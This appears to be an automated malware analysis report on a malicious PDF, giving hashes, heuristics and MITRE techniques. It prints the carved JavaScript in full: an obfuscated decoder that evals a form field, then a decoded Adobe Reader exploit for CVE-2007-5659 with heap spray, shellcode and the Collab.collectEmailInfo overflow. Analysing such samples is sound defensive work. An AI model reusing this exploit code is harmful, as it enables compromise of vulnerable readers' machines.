Malicious PDF — malware analysis report

Static analysis result for SHA-256 71b4b7fdc27860fb…

MALICIOUS

PDF

28.6 KB Created: 2012-10-28 09:07:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-07
MD5: 0369266c9e71725f4925504e7a02f31c SHA-1: 27d2ecdc6c1cff4884f5545958831495b2555db0 SHA-256: 71b4b7fdc27860fb4cc67b91c3c7eb12f9f553595b48308f905f751f0e68e387
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF document contains embedded JavaScript that leverages the CVE-2007-5659 vulnerability in Adobe Reader. The script is designed to perform a heap spray and execute a second-stage payload. The ML classifier strongly indicates maliciousness, and the critical heuristic confirms the exploit technique.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x6EDC 1256 bytes
SHA-256: c9ed80678030b6f56d2daa2b7acff159cfe87b2c293449a123102df4467f0924
Preview script
First 1,000 lines of the extracted script
var reggergre = ':';
var xcbdf4tfer = reggergre+'ABCDEFGHI';
var cxbdf4terg = 'WXYZ{}';
var xcbdewt4ger = "^";
var sarwgraew = 'ijklmnop';
var rgfreuih = 'abcd';
var cxvbd4tege = xcbdewt4ger+rgfreuih+'efgh'+sarwgraew;
var cxncgfhyry3e4ter = "z_";
var vcmnfdhrthrth= "q"+"rstuvwxy"+cxncgfhyry3e4ter;
var sdeswf = '!%'+'+-*.,;"=<>&';
var nvbnmewtgerg = '0123456789/'+sdeswf+'\\';
var ytyrty54yrh = vcmnfdhrthrth+nvbnmewtgerg;
var mcnt54hr  = xcbdf4tfer;
var gcmhnr4yesrg4g = "JKLMNOPQRSTUV"+cxbdf4terg;
var cnvcnrghrthdfg = ' '+'()[]'+cxvbd4tege+ytyrty54yrh;
var trh35tewr=mcnt54hr+gcmhnr4yesrg4g+cnvcnrghrthdfg;
function dsaewf23fwe(nmtt34t){
var ewfe23fwef = trh35tewr.indexOf(nmtt34t);
var thtr3tgre=ewfe23fwef-33;
if (thtr3tgre<0)
{var mnrtfegreg = trh35tewr.length;
thtr3tgre=thtr3tgre+mnrtfegreg;}
return trh35tewr.charAt(thtr3tgre);}
function ethet4wer(yuyr54ter){
var mghjkio9o8po6r='';
for (var i = 0;i< yuyr54ter.length-1;i++)
{mghjkio9o8po6r += dsaewf23fwe(yuyr54ter[i]);}
return mghjkio9o8po6r;}
var vcnbrth53ey=getField("WWWW");
var pyuiultjejhrty=vcnbrth53ey.value;
var lopyuyi5r6tj = ethet4wer(pyuiultjejhrty);
var aanmyjuitrhreh= 'sewerwecaaev'+'alsesfesfsef';
var masgfrj45y = aanmyjuitrhreh.substring(10,14);
app[masgfrj45y](lopyuyi5r6tj);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 33) at offset 0x519 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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